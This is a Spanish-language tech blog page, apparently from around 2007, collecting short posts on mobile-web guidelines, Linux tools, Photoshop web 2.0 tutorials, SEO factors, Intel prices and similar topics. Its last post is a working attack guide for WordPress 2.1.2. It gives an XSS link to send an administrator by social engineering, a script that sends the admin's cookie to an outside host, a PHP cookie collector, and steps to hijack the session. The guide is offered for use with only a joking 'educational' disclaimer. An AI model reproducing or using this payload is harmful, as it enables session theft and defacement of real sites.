Walhez

10 metodos de para que nuestra web sea accesible por Web Movil

Las “Buenas Prácticas en Web Móvil 1.0” son un Estándar Web del W3C cuyo objetivo es ayudar a los desarrolladores Web a diseñar y publicar contenido Web que funcione adecuadamente en dispositivos móviles. Estos diez puntos resumen las pautas descritas en el estándar. Al cumplirlas, se incrementará el público que puede acceder a los contenidos, creando sitios Web y aplicaciones eficaces y haciendo la navegación en la Web accesible desde más dispositivos.

1. Diseña para una Web única. Si diseñas el contenido teniendo en cuenta los diferentes dispositivos, reducirás costes, tu página será más flexible y satisfarás las necesidades de más personas.
   
2. Confía en los estándares Web. En un mercado tan fragmentado como el de dispositivos y navegadores, los estándares son la mejor garantía de Interoperabilidad.
3. Evita los riesgos conocidos. Un diseño bien planificación ayuda a reducir los problemas de usabilidad causados por pantallas y teclados pequeños, u otras funciones de los dispositivos móviles.
4. Sé prudente con las limitaciones de los dispositivos. Cuando elijas una tecnología Web concreta, ten en cuenta que los dispositivos móviles tienen funciones muy diversas.
5. Optimiza la navegación. La simplificación de la navegación y del uso del teclado son factores esenciales cuando se utilizan pantallas y teclados pequeños, y se tiene un ancho de banda limitado.
6. Comprueba gráficos y colores. Las imágenes, los colores y el estilo destacan el contenido, pero las pantallas de bajo contraste presentan problemas de compatibilidad con algunos formatos.
7. Hazlo en pequeño. Un sitio Web de tamaño reducido supondrá un ahorro de tiempo y dinero para los usuarios.
8. Economiza el uso de la red. Las funciones de los protocolos Web pueden mejorar la experiencia del usuario al reducir los retrasos y los tiempos de espera en la red.
9. Facilita la entrada de datos. En los dispositivos móviles, los teclados y demás métodos de introducción de datos pueden ser tediosos para el usuario. Un diseño eficaz minimiza su uso.
10. Piensa en los usuarios de la Web móvil. Los usuarios de la Web móvil necesitan información sintetizada al disponer de poco tiempo y existir distracciones externas.

Más información: Tarjetas de MWBP.

Comparando Archivos en Linux

Si necesitas comparar el contenido de dos ficheros y ver que diferencias existen entre ellos, Meld es la herramienta que necesitas.

Para instalarlo:

sudo apt-get install meld

La interfaz es muy sencilla, Pulsas sobre New e indicas el fichero origen y el fichero destino que quieres comparar, automaticamente te muestra las diferencias por pantalla.

Songbird : Reproductor de Linux muy parecido a iTunes

Songbird es una alternativa de código abierto a iTunes que está actualmente en desarrollo. Está construido en la plataforma XULRunner de Mozilla. Gracias a ello, Songbird funciona en aquellos ordenadores con Windows, Mac OS X, y Linux.

El motor principal de Songbird, mig, ha revelado que Songbird utiliza el plugin del cliente VideoLAN (VLC) para la reproducción multimedia, y SQLite como motor de almacenamiento para la biblioteca multimedia.

El lanzamiento de la primera versión pública de Songbird, con número de versión 0.1, tiene el nombre código “Hilda,” y fue lanzada el 8 de febrero de 2006.

En el sistema de Bugs de este programa se ha sugerido infinidad de veces que el programa debería ser capaz de descargar e instalar automáticamentes los codecs, por lo cual el equipo de desarrollo está trabajando para poder agregar esta característica.

Es lo más parecido al Windows Media Player y al iTunes que he visto por ahora para Linux. Además de ser un reproductor de audio y video excelente, también tiene el Firefox incluido, desde donde podrás ver infinidad de blogs sobre música y de lo que tu quieras seleccionados por marcadores hechos por ti. Además, el navegador tiene todas las posibilidades del estándar.Tambien puedes oir la radio, descargar archivos, realizar suscripciones a RSS, crear favoritos, construir mezclas personalizadas y un largo etc…

Tiene 39 idiomas disponibles y puedes cambierle el tema a tu antojo, hay muhcos colgados por la red.

En fin, un reproductor que no tiene desperdicio, el único pero es que consume un poco más de recursos de lo normal, pero mejor probarlo y ver si realmente son para tanto.

Así que aquí dejo los enlaces:

Descarga el reproductor desde su página oficial aqui.

Para descargar Add-ons también desde su página oficial pincha aqui.

También se puede descargar desde Automatix hay que hacer los siguientes pasos:

Install / Media Players and Editors / Songbird.

Marcamos la casilla y le damos a Start. Esperamos a que termine y ya lo tenemos instalado!

Herramienta On-line que permite obtener colores de una imagen facilmente

Generalmente nos encontramos con el deseo de saber, el color de alguna imagen en particular y resulta muy tedioso con el phosthop hacerlo, me he encontrado esta herramienta:

Pic2color es una herramienta web que nos permite extraer la gama de colores de una imagen. Simplemente introducimos la url de la imagen en un campo de texto y presionamos en load. Unos segundos después ya tenemos los colores. Presionamos en estos y podremos copiarlos.

Enlace | pic2color

Create logos al estilo web 2.0 en photoshop

En Hogkiat nos explican como crear unos logos estilo web 2.0 con Photoshop. El secreto esta en un fichero de estilos que debemos descargar de la web de Hongkiat, luego lo instalamos en Photoshop y podremos seguir los pasos que ellos mismos han publicado en su blog.

Para su explicación, Hongkiat ha hecho logos exactamente iguales a los de sitios 2.0 muy conocidos como MyBlogLog y otros. Obviamente, la idea no es copiar, sino ser más creativos. El tutorial es muy recomendado.

Enlace | How Web 2.0 Logos are drawn

Factores a tomar en cuenta para ser indexado en google

Este es un resumen de los principales factores a tener en cuenta para llamar la atención del algoritmo de Google, y la importancia (media sobre un máximo de 5) de cada factor.

Elementos relacionados con las palabras clave

• Usar las palabras clave en la etiqueta del título (4,9): siempre hay que incluir la palabra clave de la web en la etiqueta HTML de la página. Es uno de los elementos más importantes de una estrategia de wikipedia.org/wiki/SEO">SEO.
• Usar las palabras clave en el texto (3.7): también deben incluirse en el texto visible de la página, combinándolas de forma que el buscador sea capaz de detectar la temática de la web más allá de lo explicitado en el título.
• Relacionar el contenido con las palabras clave (3,4): se trata de una acción un tanto obvia, aunque a tener en cuenta: los contenidos deben estar relacionados con los términos clave elegidos. Es un elemento importante también a la hora de recibir enlaces.

Atributos de la página

• Estructurainterna de los enlaces (4,1): se refiere al número y la importancia de los enlaces internosque apuntan a una determinada página. Sin una estructura correcta de los enlaces internos, algunas páginas pueden no recibir todo el énfasis que necesitan.
• Estructuraexternade los enlaces (3,5): la cantidad y calidad de los enlaces externos de una web se mide por el número de enlaces a sitios que otros usuarios consideran útiles. : lo que es útil para los internautas debería traducirse en valioso para un buscador.
• Antigüedad del documento (3,4): la veteranía puede ser un grado importante. Las páginas que perduran en la Redse consideran con mayor autoridad y más fiables que las que viven un éxito efímero.

Atributos de la web / dominio

• Popularidad global de la web (4,5): la importancia o autoridad de una página web, medida en función del número de enlaces que recibe (tanto en cantidad como en calidad), es fundamental para establecer su posición en los rankings.
• Antigüedad del dominio (4): al igual que el punto anterior, la edad del dominio también cuenta, y no desde el momento en que se registra el dominio (ya que puede cambiar de propietario), sino desde que empieza a generar contenido indexable por los buscadores.
• Relevancia de los enlaces externos (3,9): se trata de la relación específica entre la temática de las webs que enlazan y las palabras clave de una web. En un algoritmo perfecto, este debería ser uno de los elementos básicos de éxito.

Elementos negativos

• El servidor es inaccesible con frecuencia (3,8): basta que un servidor esté caído durante 48 horas para que caiga radicalmente en cualquier ranking.
• El contenido es igual o muy parecido al que ya está indexado (3,6): si un contendió se considera duplicado, probablemente será ignorado por los motores de búsqueda, que generalmente sólo tienen en cuenta una copia de cada información.
• Los enlaces externos son de poca calidad o spam (3,5): no es bueno tener relaciones virtuales de mala reputación, porque nos arriesgamos a caer bajo la misma calificación.

Recopilacion de Tutoriales photoshop para web 2.0

Crear un logo web 2.0 (Make a Web 2.0 logo) :: Tutoriales / VideoTutoriales / Utilidades online / Recopilaciones

• Learn to create your own Web2.0 Logo por Nicora

• Web 2.0 Logo por FX Designing

• How to creat a WEB 2.0 style logo por Dreamdealer

• Photoshop “Glass Text” Tutorial por No Relation

• Five Minute Web 2.0 Style Graphics por Affiliate Programs

• Web 2.0 text effect por EasyPSD

• The Glossy TEXT web2.0 style por photoshopit

• Photoshop Tutorial: How to Make a Web 2.0-Style Logo por Alleba Blog

• Photoshop tutorial web2.0 en YouTube

• Logo Maker: Web 2.0 Stylr

• LOGO2.0 part I and II en Flickr

• China Web 2.0 logos en LogoLinks

• Tag yay2dot0logoparody en Flickr

- Creación de Badges (Web 2.0 Badges) :: Tutoriales

• Star Badges por PhotoshopStar

(more…)
Continuar leyendo...

Diseño Web: Impresionante colección de cientos de articulos y tutoriales

Página web de la universidad de Minnesota (Duluth) que recopila cientos de enlaces de articulos, tutoriales y recursos de programación y diseño web sobre accesibilidad, CSS, Color, Dreamweaver, Testeo, Eventos, Flash, Arquitectura de la información, Javascript, Navegación, PHP, Páginas y Blogs, Estándares, Herramientas, Usabilidad, Tipografía y otros. Excelente recopilación, aunque uno puede llegar a perderse facilmente en ella. Lo “malo” es que está en inglés pero merece mucho la pena.

Para ver los tutoriales solo visitan este web - www.d.umn.edu

Más de 60 tutoriales Photoshop sobre diseño web 2.0

Recopilación con más de 60 tutoriales de Photoshop que se acercan a las actuales tendencias del diseño web 2.0. Los tutoriales están en inglés pero conviene echarles un vistazo por su calidad. Además, la mayoría de ellos, son tutoriales bastante visuales con lo que no es muy complicado seguirlos aunque no se sepa mucho inglés.

La policía española evita un suicidio por Internet en Alemania

MADRID (Reuters) - La policía española ha evitado un suicidio por Internet en Alemania después de avisar a sus colegas germanos de que un varón amenazaba en un chat con quitarse la vida, informó el domingo la Policía Nacional.

El hombre, residente en la localidad alemana de Bremer Haven, mostraba su imagen con una pistola contra su sien en una sala privada de chat y dijo que iba a matarse tras haber sido abandonado por una mujer.

Usuarios españoles que participaban en la conversación alertaron a los servicios de emergencia, que a su vez avisaron a la policía alemana, que llegó a tiempo de evitar el suicidio.

Los hechos ocurrieron el pasado jueves y durante los mismos un policía entró en el mismo chat para entretener al suicida mientras llegaban a su domicilio los agentes.

Intel abarata sus Core 2 y lanza nuevos modelos

Intel ha bajado los precios de su familia de procesadores Core 2. Al mismo tiempo, ha empezado a vender sin decírselo a nadie los nuevos modelos Core 2 Duo E6320 y E6420, ahora con 4MB de memoria L2 caché.

Los nuevos precios se harán efectivos la semana que entra en sus productos de doble núcleo Core 2 y en los de núcleo cuádruple. Sin embargo, los vendedores en Internet ya han reducido los precios. A partir de ahora, los Core 2 tienen un precio de entrada de 113 dólares la unidad, en 1.000 de sus unidades. El cuádruple Core 2 Quad Q6600 también se abarata a 530 dólares la unidad, en 1.000 unidades.

Además de estas rebajas, Intel ha lanzado en silencio sus procesadores Core 2 Duo de velocidad forzada más baja, con 4MB de memoria L2 caché. El nuevo Core 2 Duo E6320 y el E6420 son similares al E6300 y al E6400. Sin embargo, los modelos E6x20 incluyen la L2. Los precios que Intel ha puesto a los nuevos procesadores E6x20 son los mismos que los de los modelos E6x00.

Además de esta tímida rebaja en el segundo trimestre del 2007, Intel planea rebajar de forma más contundente su línea de procesadores en el tercer trimestre, con la excepción del recientemente lanzado Core 2 Extreme QX6800.

Más información aquí.

Extension para firefox que permite descargar y controlar archivos .torrents

Firestorm es una nueva extensión para Firefox (se espera que el primer lanzamiento Alpha sea sacado estos días) que permite a los usuarios descargar y controlar archivos .torrent dentro de su navegador. La meta de Firestorm es hacer las descargas de torrent tan fáciles como cualquier descarga directa dentro de Firefox. Puede ser especialmente útil para la gente que es nueva en BitTorrent.

No es la primera extensión de BitTorrent para Firefox, FoxTorrent y BitFox son proyectos similares.

Vía: torrentfreak.com

Web: firestorm.mozdev.com

Descargar: XPI INSTALL LINK

Gana dinero con tus imagenes

Otra buenisima manera de ganar dinero con nuestro blog es subiendo imagenes. ShareaPic te permite subir imagenes a sus servidores y te pagan una cierta cantidad de dinero por las visualizaciones que tienen tus imagenes o fotos. Ademas cuantan con un software que sirve para subir multiples imagenes y no subir una a una, esto va 10 puntos. Despues de subir tus fotos o imagenes te generan un codigo que hay que pegar en nuestro blog en el post, de esta manera tendremos una vista previa de la imagen, asi que cuando un visitante le de click a la imagen para ampliar nos abre una nueva ventana a shareapic y podremos ver la foto en tamaño ampliado. Ellos ganan colocando publicidad al lado de la imagen y tu ganas con la cantidad de personas que la vieron. Por lo tanto con subir imagenes y pegar el codigo en tu blog ya comenzaras a ganar dinero con BLOG.

Inscribete >> shareapic

Defaceando/Hackeando Blogs en Wordpress 2.1.2

El dia de hoy he decidido publicar como podemos defacearnos/hackearnos un blog que utiliza worpress 2.1.2 aprovechandonos de un bug xss que posee. Primero aremos lo siguientes:

Si no sabemos que version de wordpress usa, si usamos firefox, damos click derecho y luego a ver codigo fuente o tambien ctrl + u y buscamos esto:
meta name="generator" content="WordPress 2.1.2" /

Utilizando un poco de ingieneria social le mandamos al administrador de la web un link que contenga esto:
?title%3E%3Ch1%3Esip%3C/h1%3E%3CIMG%20SRC=javascript:location.href=http://tuweb.com/a.js%3E

Donde el archivo a.js contiene:

i=new/**/Image();i.src='http://tuweb.com/adv.php?cookie=’+document.cookie;
Y con este archivo robas la cookie

$cookie = $_REQUEST[cookie]; $fic=fopen("cookie.txt", "a"); fwrite($fic, "$cookie\n"); fclose($fic);

Y luego cuando ya tenemos la cookie del administrador simplemente lo editamos con el achilles o tamper data.

Esto es solo para uso educativo xD.